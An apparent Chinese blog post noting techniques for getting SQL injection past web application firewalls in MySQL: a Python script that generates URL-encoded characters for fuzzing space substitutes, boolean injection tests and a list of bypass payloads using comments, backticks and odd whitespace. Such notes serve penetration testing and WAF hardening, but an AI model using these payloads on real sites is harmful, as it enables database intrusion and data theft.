zoukankan      html  css  js  c++  java
  • waf绕过

    0x01 fuzz(以绕过空格为例子)

    今天朋友分享了一些常见的,和一些通用waf的绕过姿势,看一下,做一下记录
    我这里以空格为例子,mysql中当语句为如下的时候返回不同

    mysql> select * from users where user_id='1' and 1=1;
    +---------+-------+-----------+
    | user_id | user  | password  |
    +---------+-------+-----------+
    |       1 | admin | admintest |
    +---------+-------+-----------+
    1 row in set (0.29 sec)
    
    mysql> select * from users where user_id='1' and 1=2;
    Empty set (0.00 sec)
    

    在firefox中用hackbar测试这里空格被url编码了为%20
    这里我自己写了个脚本,生成了一系列各种符号的url编码,ascii码值,用于fuzz

    import sys
    
    save_file = sys.argv[1]
    pre = '0x'
    num = [1,2,3,4,5,6,7,8,9]
    word = ['QWERTYUIOPLKJHGFDSAZXCVBNMqwertyuioplkjhgfdsazxcvbnm']
    with open(save_file,'wb') as file:
    	for i in range(0,52):
    		for n in word:
    			tar = '0' + n[i] + '
    '
    			file.write(tar)
    			for a in num:
    				res = str(pre) + str(a) + n[i] + '
    '
    				print res	
    				file.write(res)
    


    这里以空格为例子

    对这里的20进行爆破,加载上面生成的字典

    这里可以看到%0a-d都可以代替进行绕过

    0x02 其他的一些姿势(还是以空格为例子)

    payload
    select{user table_name}from{users information_schema.tables};
    返回全部表
    符号   + /**/  () 0x90等
    select .1from users;
    /*!50000select*/user from users;
    select 0e1from users;
    select version%0b()
    select`version()`     
    select`version`%0b()
    mysql> select`user`from`users`;
    +-------+
    | user  |
    +-------+
    | admin |
    | test  |
    | sp4rk |
    | qwer  |
    +-------+
    4 rows in set (0.00 sec)
    
  • 相关阅读:
    CH4302 Interval GCD
    20201017 模拟赛总结
    LOJ#2610. 「NOIP2013」货车运输
    POJ3696 The Luckiest number
    20200925 小练习总结
    更新一波状态
    AFO
    【扩展lucas定理】
    【LCT维护子树信息】uoj207 共价大爷游长沙
    [bzoj4589]Hard Nim(FWT快速沃尔什变化+快速幂)
  • 原文地址:https://www.cnblogs.com/spark-xl/p/9103104.html
Copyright © 2011-2022 走看看